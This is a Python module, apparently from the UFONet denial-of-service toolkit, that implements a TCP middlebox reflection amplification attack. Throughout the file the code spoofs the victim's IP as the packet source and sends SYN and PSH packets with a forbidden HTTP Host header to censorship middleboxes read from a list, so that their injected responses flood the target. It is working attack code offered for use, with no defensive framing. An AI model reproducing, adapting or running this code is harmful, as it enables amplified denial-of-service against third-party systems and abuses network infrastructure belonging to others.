middlebox.py 3.5 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. middlebox_file = "botnet/middlebox.txt"
  21. # UFONet TCP Middlebox Amplification (CENSORSHIP) - amp factor >65000x
  22. # abuses stateless censorship middleboxes that inject HTTP responses for forbidden hosts
  23. FORBIDDEN_HTTP_REQ = (
  24. b'GET / HTTP/1.1\r\n'
  25. b'Host: www.youporn.com\r\n'
  26. b'\r\n'
  27. )
  28. def censorshipize(target_ip, rounds):
  29. n=0
  30. try:
  31. from core._botnet import load_botnet_file, warn_placeholders
  32. reflectors, _empty, _all_placeholder = load_botnet_file(middlebox_file)
  33. if _empty:
  34. print("[Error] [AI] [CENSORSHIP] botnet/middlebox.txt is empty -> [Aborting!]")
  35. return
  36. if _all_placeholder:
  37. warn_placeholders("CENSORSHIP", middlebox_file, kind="middlebox")
  38. return
  39. for x in range(int(rounds)):
  40. n += 1
  41. print("[Info] [AI] [CENSORSHIP] Triggering 'middlebox' ["+str(n)+"] via forbidden Host header! -> [SLOWING!]")
  42. for r in reflectors:
  43. try:
  44. sport = random.randint(2000, 65535)
  45. seq = random.randint(1000, 0xffffffff)
  46. syn = IP(dst=r, src=target_ip) / TCP(sport=sport, dport=80, flags='S', seq=seq)
  47. send(syn, verbose=0)
  48. psh = IP(dst=r, src=target_ip) / TCP(sport=sport, dport=80, flags='PA', seq=seq+1, ack=1) / Raw(load=FORBIDDEN_HTTP_REQ)
  49. send(psh, verbose=0)
  50. print("[Info] [AI] [CENSORSHIP] Triggered 'middlebox' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  51. except Exception:
  52. print("[Info] [AI] [CENSORSHIP] Triggered 'middlebox' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  53. except:
  54. print("[Error] [AI] [CENSORSHIP] Failing to engage... -> Is still target online? -> [Checking!]")
  55. class MIDDLEBOX(object):
  56. def attacking(self, target, rounds):
  57. print("[Info] [AI] TCP Middlebox Amplification (CENSORSHIP) is ready to fire: [", rounds, "middleboxes ]")
  58. if target.startswith('http://'):
  59. target = target.replace('http://','')
  60. elif target.startswith('https://'):
  61. target = target.replace('https://','')
  62. try:
  63. ip = socket.gethostbyname(target)
  64. except Exception:
  65. try:
  66. import dns.resolver
  67. r = dns.resolver.Resolver()
  68. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  69. url = urlparse(target)
  70. a = r.resolve(url.netloc, "A")
  71. for rd in a:
  72. ip = str(rd)
  73. except Exception:
  74. ip = target
  75. if ip == "127.0.0.1" or ip == "localhost":
  76. print("[Info] [AI] [CENSORSHIP] Targeting 'localhost' -> [OK!]\n")
  77. return
  78. censorshipize(ip, rounds)